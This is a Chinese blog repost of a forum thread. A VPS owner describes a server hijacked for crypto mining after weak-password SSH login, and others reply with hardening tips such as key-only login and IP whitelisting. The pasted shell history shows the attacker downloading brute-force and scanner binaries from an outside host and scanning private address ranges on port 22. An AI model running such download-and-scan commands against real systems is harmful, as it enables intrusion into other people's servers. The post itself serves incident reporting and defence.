flyzy博客
分享便宜VPS与网络优惠
搬瓦工

一不小心被挖矿了

防范意识薄弱,小鸡用的弱密码,没禁用密码登陆,今天登上机器看cpu100%,
马上意识到被挖矿了。看了下历史记录
sudo -i   133  exit   134  nproc   135  lscpu   136  exit   137  nproc   138  exit   139  nproc   140  ls   141  ip r   142  exit   143  wget david1337.dev/brute   144  wget david1337.dev/banner   145  wget david1337.dev/ps   146  chmod +x *   147  ip r   148  ./ps 10.42 22   149  ./ps 192.168 22   150  ./ps 172.17 22   151  ls   152  exit   153  lscpu   154  ls   155  exit   156  top   157  exit   158  clear   159  ls复制代码

淦塔皮燕纸 david1337.dev

贵州省网友说:拿到鸡第一步。修改密码,3种混合。修改22端口。开启bbr

山东省网友说:不放心还是重装了

江西省网友说:第一步不就是禁密码登录改成密钥么,
密钥还更方便

浙江省网友说:端口只对白名单ip开放,稳得一比,你密码设置123都没问题

湖南省网友说:这个矿工不专业,鞋套都不戴,差评

安徽省网友说:密钥,其他都是默认,DMIT什么的开机就是密钥,更规范

黑龙江省网友说:https://hostloc.com/thread-957070-1-1.html

* Linux常用命令:rar a file1.rar file1 file2 dir1 同时压缩 ‘file1’, ‘file2’ 以及目录 ‘dir1’

* 资源 https://t.me/MJJ_aliyundrive
* MJJ频道 https://t.me/wearemjj
* Linux命令大全 https://www.linuxcool.com
* HostLoc频道 https://t.me/myhostloc

山东省网友说:三个脚本被删除了。楼主有备份吗 发出来学习下

赞(0) 打赏
关注我们
未经允许不得转载:flyzy博客 » 一不小心被挖矿了
分享到: 更多 (0)

这是一种鼓励

支付宝扫一扫打赏

微信扫一扫打赏